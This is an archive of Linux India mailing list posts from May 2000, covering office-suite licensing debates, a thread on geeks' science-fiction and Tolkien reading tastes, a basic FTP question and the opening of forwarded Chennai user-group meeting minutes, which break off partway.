QAAAA13910; Wed, 17 May 2000 16:42:28 +0530 (IST) Date: Wed, 17 May 2000 16:42:28 +0530 From: Suresh Ramasubramanian To: Atul Chitnis Cc: Linux India General Subject: Re: Re: Kylix Kickoff (fwd) Message-ID: <20000517164227.A12691@staff.juno.com> Mail-Followup-To: Atul Chitnis , Linux India General Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from achitnis@exocore.com on Wed, May 17, 2000 at 04:33:45PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/57 Atul Chitnis saw fit to inform LI that: >Thanks - I was hoping someone would say that! ;-) Unfortunately, >StarOffice, Corel, etc do not qualify as usable software because they fail >the OpenSource test, and therefore no "real" Linux user would be using >them. ;-) As long as it does the job well (and is free and/or low priced) I basically don't care whether it is GPL, DFSG-Free, BSD licensed or whatever ... I'm not into GNU or OS advocacy. [yeah, sorry, this _is_ heresy] :) -- Suresh Ramasubramanian | sureshr at staff.juno.com Are you a turtle? From linux-india-general-owner@lists.linux-india.org Wed May 17 05:27:44 2000 Received: from nagpur.dot.net.in (nagpur.vsnl.net.in [202.54.50.1]) by www.aunet.org (Postfix) with ESMTP id D90B638056 for ; Wed, 17 May 2000 05:27:39 -0700 (PDT) Received: from outsider ([203.197.39.44]) by nagpur.dot.net.in (8.9.3/8.9.3) with SMTP id SAA29407 for ; Wed, 17 May 2000 18:00:42 +0530 (IST) Message-ID: <016f01bfc029$89b20280$0101a8c0@outsider.sanisoft> Reply-To: "SANIsoft" From: "SANIsoft" To: "Linux India General" Subject: Re: Re: Kylix Kickoff (fwd) Date: Wed, 17 May 2000 17:58:37 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-Archive-Number: 200005/58 >Thanks - I was hoping someone would say that! ;-) Unfortunately, >StarOffice, Corel, etc do not qualify as usable software because they fail >the OpenSource test, and therefore no "real" Linux user would be using >them. ;-) A lovely flame bait - BUT as the gurus can see I am using M$ outlook express for this post I won't jump in BTW - Tarique says that the spreadsheet of star office really does not qualify as USABLE Pivot tables of Excel are just too powerful - BUT not as powerful as Lotus123 Swati ===================================== B2B Application Service Providers http://www.sanisoft.com The Vortal for Nagpur http://nagpurcity.net ===================================== -----Original Message----- From: Atul Chitnis To: Suresh Ramasubramanian Cc: Linux India General Date: Wednesday, May 17, 2000 11:32 AM Subject: Re: [LIG] Re: Kylix Kickoff (fwd) >On Wed, 17 May 2000, Suresh Ramasubramanian wrote: > >> Also, (a random aside) Star Office / Corel Word Perfect etc on linux _can_ >> read word docs :) > >Thanks - I was hoping someone would say that! ;-) Unfortunately, >StarOffice, Corel, etc do not qualify as usable software because they fail >the OpenSource test, and therefore no "real" Linux user would be using >them. ;-) > >Atul > > > >----------------------------------------------------------------------- >For information on this and other Linux India mailing lists check out >http://lists.linux-india.org/ > From linux-india-general-owner@lists.linux-india.org Wed May 17 22:18:51 2000 Received: from web217.mail.yahoo.com (web217.mail.yahoo.com [128.11.68.117]) by www.aunet.org (Postfix) with SMTP id 18E2638095 for ; Wed, 17 May 2000 22:18:46 -0700 (PDT) Received: (qmail 20809 invoked by uid 60001); 18 May 2000 05:18:45 -0000 Message-ID: <20000518051845.20808.qmail@web217.mail.yahoo.com> Received: from [202.54.89.12] by web217.mail.yahoo.com; Wed, 17 May 2000 22:18:45 PDT Date: Wed, 17 May 2000 22:18:45 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: Re: Re: Kylix Kickoff (fwd) To: Linux India General MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/59 --- SANIsoft wrote: > BTW - Tarique says that the spreadsheet of star office really does > not > qualify as USABLE > > Pivot tables of Excel are just too powerful - BUT not as powerful as > Lotus123 Hi, Frankly, I don't know many people who object to M$ products on "freedom" grounds. Personally, I'm used to paying for things I find useful. I also doubt that anybody would claim that M$ Office lacks some functionality that they require. What disturbs me is the way that you are locked into using only their products if you buy any one. I'd use any commercial product on Linux, including M$' as long as it was within my budget and conformed to open standards. Biju ===== Biju "Botsie" Chacko "With men and sex when it's right, it's right and when it's wrong, it's right." - Fishism __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Wed May 17 23:07:00 2000 Received: from web209.mail.yahoo.com (web209.mail.yahoo.com [128.11.68.109]) by www.aunet.org (Postfix) with SMTP id 21D4A38069 for ; Wed, 17 May 2000 23:06:43 -0700 (PDT) Received: (qmail 12410 invoked by uid 60001); 18 May 2000 06:06:42 -0000 Message-ID: <20000518060642.12409.qmail@web209.mail.yahoo.com> Received: from [202.54.89.12] by web209.mail.yahoo.com; Wed, 17 May 2000 23:06:42 PDT Date: Wed, 17 May 2000 23:06:42 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: [OT] Linux Geek Reading Tastes (Was Re: load balancing ?) To: linux-india-help@lists.linux-india.org, linux-india-general@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/60 Shifting thread to LIG. Respond there please. ---On Wed, 17 May 2000 Binand Raj S. wrote > Ravikant K.Rao forced the electrons to say: > > And to the less intellectually accomplished among us, ... What > > would a "Pan Galactic Gargle Blaster" be? Is it one (more) of those > > Star Wars || US Soap Opera(?) joke things that I am missing out? > > Ravi, I think Raju's friends should also call on you. Putting Star > Wars and US Soap Operas on the same line! What cheek!! > > StarWars/Tolkien/HHGTTG/Mutt - hear no evil, speak no evil, see no > evil. ;-) Hallelujah, brother! It's amazing, all us geeks seem to have the same reading tastes: SF & Fantasy. I wonder why we're all attracted to it? In my case, I was into SF and Fantasy _before_ i found out anything about computing, so I think we can rule out cause and effect. If I may speculate: i think it's due to the fact that the fun of great SF/Fantasy is exploration. Exploration of imaginary worlds, new concepts and more. The fun of computing is also exploration -- exploring the limits of the technology and exploring the ones own abilities with respect to the technology. The rush from both of these activities is analogous. IIRC, there is some reference to this in esr's hacker faq. What do you think? And what about all of you who don't enjoy this stuff? There is something here worth investigating further. Biju ===== Biju "Botsie" Chacko "With men and sex when it's right, it's right and when it's wrong, it's right." - Fishism __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Wed May 17 23:10:28 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id BB4DA38074; Wed, 17 May 2000 23:10:19 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id LAAAA07028; Thu, 18 May 2000 11:40:16 +0530 (IST) Date: Thu, 18 May 2000 11:40:16 +0530 From: Suresh Ramasubramanian To: linux-india-help@lists.linux-india.org Cc: linux-india-general@lists.linux-india.org Subject: Re: [LIH] [OT] Linux Geek Reading Tastes (Was Re: load balancing ?) Message-ID: <20000518114016.J30@staff.juno.com> Mail-Followup-To: linux-india-help@lists.linux-india.org, linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20000518060642.12409.qmail@web209.mail.yahoo.com>; from biju_chacko@yahoo.com on Wed, May 17, 2000 at 11:06:42PM -0700 Organization: Juno Abuse Desk X-Archive-Number: 200005/61 Biju Chacko saw fit to inform LI that: >It's amazing, all us geeks seem to have the same reading tastes: SF & >Fantasy. I wonder why we're all attracted to it? In my case, I was into Except for Tolkien and HHGTG, I don't like fantasy stuff ... and as for sci-fi, I only read the stuff when I am despo and there's nothing else within reach (perhaps because I really _hate_ science and math, one of the main reasons for my doing an MBA?) :) I prefer westerns, old classics (sir walter scott, preferably) and pg wodehouse. >If I may speculate: i think it's due to the fact that the fun of great >SF/Fantasy is exploration. Exploration of imaginary worlds, new I like doing armchair psych as well :) -- Suresh Ramasubramanian | sureshr at staff.juno.com Any clod can have the facts, but having an opinion is an art. -- Charles McCabe From linux-india-general-owner@lists.linux-india.org Thu May 18 01:16:18 2000 Received: from thinkpad.exocore.com (unknown [213.20.131.99]) by www.aunet.org (Postfix) with ESMTP id 8D87D38069 for ; Thu, 18 May 2000 01:16:14 -0700 (PDT) Received: from localhost (achitnis@localhost) by thinkpad.exocore.com (8.9.3/8.8.7) with ESMTP id NAA01009 for ; Thu, 18 May 2000 13:45:53 +0530 Date: Thu, 18 May 2000 13:45:52 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: [OT] Linux Geek Reading Tastes In-Reply-To: <20000518114016.J30@staff.juno.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/62 Issac Asimov, Arthur C. Clarke! For straight-forward, untainted, believable SF, Asimov's Robot series take the cake. Daneel rulez. If you like the study of human behaviour *and* SF, you should check out Clarke's Rama series (though he does go a bit over the top in the last book). But my all time favourite reading matter is short and sweet - http://www.userfriendly.org/static Illiad rocks. Atul From linux-india-general-owner@lists.linux-india.org Thu May 18 01:36:31 2000 Received: from hansa.krec.ernet.in (hansa.krec.ernet.in [202.141.79.18]) by www.aunet.org (Postfix) with SMTP id A3C77380AE for ; Thu, 18 May 2000 01:36:05 -0700 (PDT) Received: (qmail 31081 invoked from network); 18 May 2000 09:01:43 -0000 Received: from vidur.krec.ernet.in (qmailr@202.141.79.4) by hansa.krec.ernet.in with SMTP; 18 May 2000 09:01:43 -0000 Received: (qmail 29721 invoked by uid 1095); 18 May 2000 08:26:12 -0000 Date: Thu, 18 May 2000 13:56:08 +0530 (IST) From: Irfan Sheriff To: linux-india-general@lists.linux-india.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/63 Someone tail me about how ftp works and what are the processes taking place during ftp . What is 'quote' in ftp From linux-india-general-owner@lists.linux-india.org Thu May 18 02:05:26 2000 Received: from web218.mail.yahoo.com (web218.mail.yahoo.com [128.11.68.118]) by www.aunet.org (Postfix) with SMTP id 01D5538051 for ; Thu, 18 May 2000 02:05:06 -0700 (PDT) Received: (qmail 13680 invoked by uid 60001); 18 May 2000 09:05:06 -0000 Message-ID: <20000518090506.13679.qmail@web218.mail.yahoo.com> Received: from [202.54.89.150] by web218.mail.yahoo.com; Thu, 18 May 2000 02:05:06 PDT Date: Thu, 18 May 2000 02:05:06 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: Re: Re: [LIH] [OT] Linux Geek Reading Tastes (Was Re: load balancing ?) To: Suresh Ramasubramanian , linux-india-help@lists.linux-india.org Cc: linux-india-general@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/64 --- Suresh Ramasubramanian wrote: > Biju Chacko saw fit to inform LI that: > > >It's amazing, all us geeks seem to have the same reading tastes: SF > & > >Fantasy. I wonder why we're all attracted to it? In my case, I was > into > > Except for Tolkien and HHGTG, I don't like fantasy stuff ... and as > for sci-fi, I only read the stuff when I am despo and there's nothing > else within reach You have my sympathy. Pitiful Chap. *diving for cover* BTW, purists call it SF, calling it "Sci-Fi" is an indication of cluelessness. > >If I may speculate: i think it's due to the fact that the fun of > great > >SF/Fantasy is exploration. Exploration of imaginary worlds, new > > I like doing armchair psych as well :) Actually, in my case it's just that I love the sound of my own voice. Have excuse -- will blather. ;-) Biju ===== Biju "Botsie" Chacko "With men and sex when it's right, it's right and when it's wrong, it's right." - Fishism __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Thu May 18 02:10:17 2000 Received: from web213.mail.yahoo.com (web213.mail.yahoo.com [128.11.68.113]) by www.aunet.org (Postfix) with SMTP id AF1703805A for ; Thu, 18 May 2000 02:10:12 -0700 (PDT) Received: (qmail 3132 invoked by uid 60001); 18 May 2000 09:10:11 -0000 Message-ID: <20000518091011.3131.qmail@web213.mail.yahoo.com> Received: from [202.54.89.150] by web213.mail.yahoo.com; Thu, 18 May 2000 02:10:11 PDT Date: Thu, 18 May 2000 02:10:11 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: [OT] Linux Geek Reading Tastes To: robinsc@iname.com Cc: linux-india-general@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/65 --- Robin Chatterjee wrote: > I'm also into sf&f . I think that there is a correlation there with > fantasy /rpg etc. games > which is a cause why people get drawn into comps. Could be. But I've noticed that most geeks prefer shoot-em-ups like Quake rather than rpgs like Myst for example. Biju ===== Biju "Botsie" Chacko "With men and sex when it's right, it's right and when it's wrong, it's right." - Fishism __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Thu May 18 02:15:26 2000 Received: from MailAndNews.com (MailAndNews.com [199.29.68.160]) by www.aunet.org (Postfix) with ESMTP id BE22D380F6 for ; Thu, 18 May 2000 02:15:22 -0700 (PDT) Received: from [12.10.209.156] (sthitaprajna@mailandnews.com); Thu, 18 May 2000 05:15:14 -0400 X-WM-Posted-At: MailAndNews.com; Thu, 18 May 00 05:15:14 -0400 From: "Sthitaprajna" Organization: Nell To: linux-india-general@lists.linux-india.org Date: Thu, 18 May 2000 14:44:49 +0530 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re:[OT] Linux Geek Reading Tastes (Was Re: load balancing ?) Reply-To: sthitaprajna@mailandnews.com In-reply-to: <20000518114016.J30@staff.juno.com> X-mailer: Pegasus Mail for Win32 (v3.12) Message-Id: <20000518091523.BE22D380F6@www.aunet.org> X-Archive-Number: 200005/66 On 18 May 00, at 11:40, Suresh Ramasubramanian wrote: > >It's amazing, all us geeks seem to have the same reading tastes: SF & > >Fantasy. I wonder why we're all attracted to it? In my case, I was into Tried fantasy in the style of Kundera's "lightness" and Marquez?? No SF there, plain wanderings of the human mind. > Except for Tolkien and HHGTG, I don't like fantasy stuff ... and as for > sci-fi, I only read the stuff when I am despo and there's nothing else > within reach (perhaps because I really _hate_ science and math, one of the > main reasons for my doing an MBA?) :) The whole of the internet sems to be run over by characters from the Middle Earth and Space travellers > I prefer westerns, old classics (sir walter scott, preferably) and pg > wodehouse. Agree hear..a Zane Grey on a lazy afternoon, anyday > I like doing armchair psych as well :) So you analyse people by reading mails?? ======================================== Sthitaprajna @mailandnews.com ======================================== From linux-india-general-owner@lists.linux-india.org Thu May 18 02:58:06 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 2E8E938051 for ; Thu, 18 May 2000 02:57:50 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id PAAAA27757 for linux-india-general@lists.linux-india.org; Thu, 18 May 2000 15:27:41 +0530 (IST) Date: Thu, 18 May 2000 15:27:41 +0530 From: Suresh Ramasubramanian To: linux-india-general@lists.linux-india.org Subject: Re: Re:[OT] Linux Geek Reading Tastes (Was Re: load balancing ?) Message-ID: <20000518152741.A26899@staff.juno.com> Mail-Followup-To: linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20000518091523.BE22D380F6@www.aunet.org>; from sthitaprajna@mailandnews.com on Thu, May 18, 2000 at 02:44:49PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/67 Sthitaprajna saw fit to inform LI that: >> I prefer westerns, old classics (sir walter scott, preferably) and pg >> wodehouse. >Agree hear..a Zane Grey on a lazy afternoon, anyday No Zane Grey. Louis L'Amour and maybe Will Henry (the guy who wrote Mackenna's Gold). Oliver Strange (Sudden) and George Gilman (Edge and Adam Steele) are also ok by me. >> I like doing armchair psych as well :) >So you analyse people by reading mails?? how did you guess? [further on this thread offlist pls] :) -- Suresh Ramasubramanian | sureshr at staff.juno.com An idea is not responsible for the people who believe in it. From linux-india-general-owner@lists.linux-india.org Thu May 18 07:14:10 2000 Received: from bom8.vsnl.net.in (bom8.vsnl.net.in [202.54.4.125]) by www.aunet.org (Postfix) with ESMTP id 40F3538056 for ; Thu, 18 May 2000 07:14:04 -0700 (PDT) Received: from fangorn.localdomain ([202.54.0.116]) by bom8.vsnl.net.in (8.9.2/8.9.2) with SMTP id TAA21915 for ; Thu, 18 May 2000 19:40:26 +0500 (GMT+0500) From: Devdas Bhagat To: linux-india-general@lists.linux-india.org Subject: Re: [OT] Linux Geek Reading Tastes (Was Re: load balancing ?) Date: Thu, 18 May 2000 19:38:32 +0600 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain In-Reply-To: <20000518060642.12409.qmail@web209.mail.yahoo.com> MIME-Version: 1.0 Message-Id: <00051819442201.00722@fangorn.localdomain> Content-Transfer-Encoding: 8bit X-Archive-Number: 200005/68 On Thu, 18 May 2000, Biju Chacko wrote: >It's amazing, all us geeks seem to have the same reading tastes: SF & >think we can rule out cause and effect. AOL >IIRC, there is some reference to this in esr's hacker faq. What do you >think? And what about all of you who don't enjoy this stuff? There is >something here worth investigating further. Ok, so how many of us fit into the general description of JRH from the Jargon file? I do, for one. And yes, add AC Clarke, Asimov, Baxter to the reading list. Actually tho, I reads almost everything:classics, SF, fantasy, ... Note to self: Buy complete works of Baxter after exams. Devdas Bhagat -- Claret is the liquor for boys; port for men; but he who aspires to be a hero ... must drink brandy. -- Samuel Johnson From linux-india-general-owner@lists.linux-india.org Thu May 18 22:04:29 2000 Received: from internal.palcom.net (unknown [216.6.88.130]) by www.aunet.org (Postfix) with ESMTP id A189E380D5 for ; Thu, 18 May 2000 22:04:21 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id KAA26808; Fri, 19 May 2000 10:32:52 +0530 From: Raju Mathur Message-ID: <14628.51964.85781.79387@malhaar.internal.palcom.net> Date: Fri, 19 May 2000 10:32:52 +0530 (IST) To: botsie@mail.com Cc: robinsc@iname.com, linux-india-general@lists.linux-india.org Subject: [OT] Linux Geek Reading Tastes In-Reply-To: <20000518091011.3131.qmail@web213.mail.yahoo.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: text/plain; charset=US-ASCII X-Archive-Number: 200005/69 >>>>> "Biju" == Biju Chacko writes: Biju> Could be. But I've noticed that most geeks prefer Biju> shoot-em-ups like Quake rather than rpgs like Myst for Biju> example. /me wonders at the popularity of NetHack... even my son plays it. And don't you dare say he's not a geek! -- Raju From linux-india-general-owner@lists.linux-india.org Fri May 19 02:50:59 2000 Received: from inbound.satyam.net.in (unknown [202.144.76.6]) by www.aunet.org (Postfix) with ESMTP id 1CBA738054 for ; Fri, 19 May 2000 02:50:51 -0700 (PDT) Received: from satyam.net.in (210.214.1.135) by inbound.satyam.net.in (NPlex 4.5.051) id 39238E080002EB3E for linux-india-general@lists.linux-india.org; Fri, 19 May 2000 09:48:28 +0000 Message-ID: <39250EBE.6AF3BB80@satyam.net.in> Date: Fri, 19 May 2000 15:21:58 +0530 From: Subash X-Mailer: Mozilla 4.73 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org Subject: re: reading habits of linux geeks... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/70 on may 17, biju wrote on the lih mailing list that: > It's amazing, all us geeks seem to have the same reading tastes: SF & > Fantasy. I wonder why we're all attracted to it?... > If I may speculate: i think it's due to the fact that the fun of great > SF/Fantasy is exploration. Exploration of imaginary worlds, new > concepts and more. The fun of computing is also exploration -- and further that he is shifting the thread to lig. so, hello everybody. eversince HHGTTG and quotations from and references to tolkien began appearing in the mailing lists i have been dying to put in my two bits. but, before anything else, i just want to mention that what follows is a very personal interpretation of "facts" and trends. nothing personal about this or any offence meant to anybody. have absolutely no wish to be called a troll again or any other such obscure label from the usenet lingo. i am no geek. hardly. have a ph.d in literature (the thesis was on the lord of the rings!). i would call myself a self-taught semi-techie.i know just about enough to put together my own pc and generally keep in touch with technology trends. i did try my hand at teaching myself c. but never got very far because i think the book i chose was written very badly. and yes, fantasy and SF was a major part of my reading,among others, atleast until a few years back. 1) tolkien is more accepted among the technical/scientific community than in the literary community. in literary/social/cultural studies/theory he is dirt. well almost. 2) which is surprising because tolkien is ANTI-TECHNOLOGY. period. which is quite obvious in LOTR. when paying his taxes in the late sixties, he scribbled on the form: "not a cent for the concorde". the renaissance notion of the rational subject and his relation to the external world and nature, one of dominance and control, is hateful to tolkien. his ideal subject has a less rational but more harmonious relation (mediated through memory, songs and tales) to things outside oneself. consistent with this, he believes in a society of strong internal boundaries/hierarchies and hereditary power. he justifies this by saying that hereditary power structure atleast brings with it a sense of responsibility. his famous quote (loosely): "lifting your cap to the squire may be damn bad for the squire, but it is good for you". 3) yet he has something in common with the geeks, if you will. not, as biju says, the passion for exploration, but the passion for order. he was a philologist and delighted in creating artificial languages. self-contained systems, if you will. like a computer program for instance. where, unlike the real world, you can set down the laws and rules and see that everything is in its place and orderly. real life languages have a way of becoming polymorphous/gamous. part of the appeal of LOTR is the consistency of the imaginary created world and tolkien spent years brooding over the details like moon phases etc. the geek, the code churner, has the same passion for order. except for the occasional bug, the delight a well thought out program gives him is the same. i think. it does exactly what he/she wants it to do. 4) one possible reason why techies generally take to stuff like this. they spend a lifetime wading through equations and such stuff and atleast the best of them i think have a feeling that they are losing out on developing the philosophic/anarchic part of their personality. they mostly lead a VERY conformist life. good student/good marks/good technical colleges/good mnc jobs. this personal sense of a lack, i think, makes them take very easily to philosophies which come packaged. instant karma, if you will. folks, like i said, these are very personal views and no offence meant. would be glad to hear your reactions. regards, subash. leave your thinking caps behind and enter: www.cybersteering.com/cruising/feature/godsown/trichi_run.html From linux-india-general-owner@lists.linux-india.org Fri May 19 04:30:47 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 04FE938091 for ; Fri, 19 May 2000 04:30:36 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id RAAAA11897; Fri, 19 May 2000 17:00:04 +0530 (IST) Date: Fri, 19 May 2000 17:00:03 +0530 From: Suresh Ramasubramanian To: Subash Cc: Linux India General Subject: Re: re: reading habits of linux geeks... Message-ID: <20000519170003.D9641@staff.juno.com> Mail-Followup-To: Subash , Linux India General Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <39250EBE.6AF3BB80@satyam.net.in>; from subashj@satyam.net.in on Fri, May 19, 2000 at 03:21:58PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/71 Subash saw fit to inform LI that: >and further that he is shifting the thread to lig. so, hello >everybody. eversince HHGTTG and quotations from and references to [I suppose Khader will jump in again, complaining that this is waaaay OT for a linux list - and he's right, for once] :) Better start a Tolkien list on eGroups or somewhere - I know that there are dozens of Tolkien fans on this list, who know other Tolkien fans ... fine? or at least, let's take this offlist from LIG (I'll mail you a little later about this post, Subhash - I have a couple of comments) :) -- Suresh Ramasubramanian | sureshr at staff.juno.com There are two types of people in this world, good and bad. The good sleep better, but the bad seem to enjoy the waking hours much more. -- Woody Allen From linux-india-general-owner@lists.linux-india.org Fri May 19 05:03:55 2000 Received: from inbound.satyam.net.in (unknown [202.144.76.6]) by www.aunet.org (Postfix) with ESMTP id D75B13806C for ; Fri, 19 May 2000 05:03:42 -0700 (PDT) Received: from satyam.net.in (210.214.2.101) by inbound.satyam.net.in (NPlex 4.5.051) id 39238E0800034292; Fri, 19 May 2000 12:01:23 +0000 Message-ID: <39252DE8.D7ADBD10@satyam.net.in> Date: Fri, 19 May 2000 17:34:56 +0530 From: Subash X-Mailer: Mozilla 4.73 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org, Suresh Ramasubramanian Subject: re: reading habits of linux geeks Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/72 on may 19, suresh ramasubramanian wrote that: > Better start a Tolkien list on eGroups or somewhere - I know that there > are dozens of Tolkien fans on this list, who know other Tolkien fans ... > > fine? or at least, let's take this offlist from LIG... no probs. personally i am not disposed to starting a list or initiating a discussion on tolkien. i was just responding to biju's post and that too because he had specifically asked people to respond at LIG. i was under the mistaken impression that such things are allowed under the general mailing list. apologies and regards, subash. From linux-india-general-owner@lists.linux-india.org Fri May 19 05:16:30 2000 Received: from inbound.satyam.net.in (unknown [202.144.76.6]) by www.aunet.org (Postfix) with ESMTP id 0445738057 for ; Fri, 19 May 2000 05:15:42 -0700 (PDT) Received: from satyam.net.in (210.214.2.209) by inbound.satyam.net.in (NPlex 4.5.051) id 39238E0800034B96 for linux-india-general@lists.linux-india.org; Fri, 19 May 2000 12:13:22 +0000 Message-ID: <392530B7.ADD52AC2@satyam.net.in> Date: Fri, 19 May 2000 17:46:55 +0530 From: Subash X-Mailer: Mozilla 4.73 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org Subject: follow-up to earlier post (OT) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/73 one tiny correction and no more on this topic... in my earlier post regarding the reading habits of linux geeks, i had given an url but had mistyped the location. the correct one, www.cybersteering.com/cruise/feature/godsown/trichi_run.html stupid i know. regards, subash. From linux-india-general-owner@lists.linux-india.org Sat May 20 18:40:32 2000 Received: from eth.net (unknown [202.9.145.19]) by www.aunet.org (Postfix) with ESMTP id 8C26638083 for ; Sat, 20 May 2000 18:40:25 -0700 (PDT) Received: from rockford.myip.org ([202.9.148.29]) by eth.net with Microsoft SMTPSVC(5.5.1877.357.35); Sun, 21 May 2000 07:09:05 +0530 Received: from ravi by rockford.myip.org with local (Exim 3.12 #1 (Debian)) id 12tKg7-0000Ia-00; Sun, 21 May 2000 07:07:15 +0530 From: "Ravikant K.Rao" MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="8N9blAALPH" Content-Transfer-Encoding: 7bit Date: Sun, 21 May 2000 07:07:12 +0530 (IST) To: linux-india-general@lists.linux-india.org, kar@myrealbox.com Subject: ILUG-Chennai -- Meeting Minutes X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14631.15522.575464.367068@rockford.myip.org> X-Archive-Number: 200005/74 --8N9blAALPH Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, The minutes are -NOT- going to get cross-posted, as in, they won't appear on Linux-India-HELP ... and yes, we pretty much did what's mentioned below, yesterday evening, in our meet :) Arun missed out one tiny bit too -- Zameer educated some rather unwilling (well, tried to educate, at any rate...) and unsuspecting people about the intricacies of Caldera OpenLinux eDesktop 2.4 ... and its many clones/cousins .. and how some FrameBuffer-ing works ... but then again, Arun was busy bashing $Linux-Distribution in the corner, and kinda missed this out ;) --ravi. ----- --8N9blAALPH Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Envelope-to: ravi@localhost Received: from rockford.myip.org ([127.0.0.1] helo=localhost) by rockford.myip.org with esmtp (Exim 3.12 #1 (Debian)) id 12tKTt-00008r-00 for ; Sun, 21 May 2000 06:54:37 +0530 Received: from mailandnews.com by localhost with POP3 (fetchmail-5.3.2) for ravi@localhost (single-drop); Sun, 21 May 2000 06:54:37 +0530 (IST) Received: from aero.aero.iitm.ernet.in [202.141.26.131] (ilugc-bounce@aero.iitm.ernet.in); Sat, 20 May 2000 11:29:02 -0400 X-Envelope-To: ravikant Received: from aero (mail@aero.aero.iitm.ernet.in [144.16.246.3]) by aero.aero.iitm.ernet.in (8.9.3/8.9.3) with ESMTP id UAA17104; Sat, 20 May 2000 20:45:26 +0530 Received: with LISTAR (v0.121a; list ilugc); Sat, 20 May 2000 20:44:55 (IST) Received: from giasmda.vsnl.net.in (giasmda.vsnl.net.in [202.54.6.161]) by aero.aero.iitm.ernet.in (8.9.3/8.9.3) with ESMTP id UAA17096 for ; Sat, 20 May 2000 20:44:53 +0530 Received: (from kar@localhost) by giasmda.vsnl.net.in (8.9.3/8.9.3) id UAA00206; Sat, 20 May 2000 20:42:11 +0530 (IST) Message-Id: <200005201512.UAA00206@giasmda.vsnl.net.in> Lines: 54 User-Agent: Gnus/5.0804 (Gnus v5.8.4) Emacs/20.6 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-listar-version: Listar v0.121a Errors-to: ilugc-bounce@aero.iitm.ernet.in X-original-sender: kar@giasmda.vsnl.net.in Precedence: bulk Reply-to: ilugc@aero.iitm.ernet.in X-list: ilugc From: "K. Arun" Sender: ilugc-bounce@aero.iitm.ernet.in To: ilugc@aero.iitm.ernet.in Subject: ILUGC-20052000: meeting minutes. Date: 20 May 2000 20:44:45 +0530 Folks, The minutes for today's meeting follow. Apologies to anyone who may wanted to write these, I decided to take up the responsibility one last time :). Ravi, could you please forward this to the linux-india-general mailing list ? ---------- ILUGC-20052000 -------------- ILUGC met at the Computer Centre, IIT-Madras, for it's traditional third-Saturday meet. While attendance was not taken up, about 20 members showed up for the meeting. On the cards today were Caldera 2.4 eDesktop and SuSE 6.4 installs. Both proceeded flawlessly in serial order on a machine provided by our webmaster, Deivanayak. The slick graphical installs characteristic of the distributions provoked a bit of musing, with old-timers commenting on Debian and Slackware being the only two mainstream distributions still 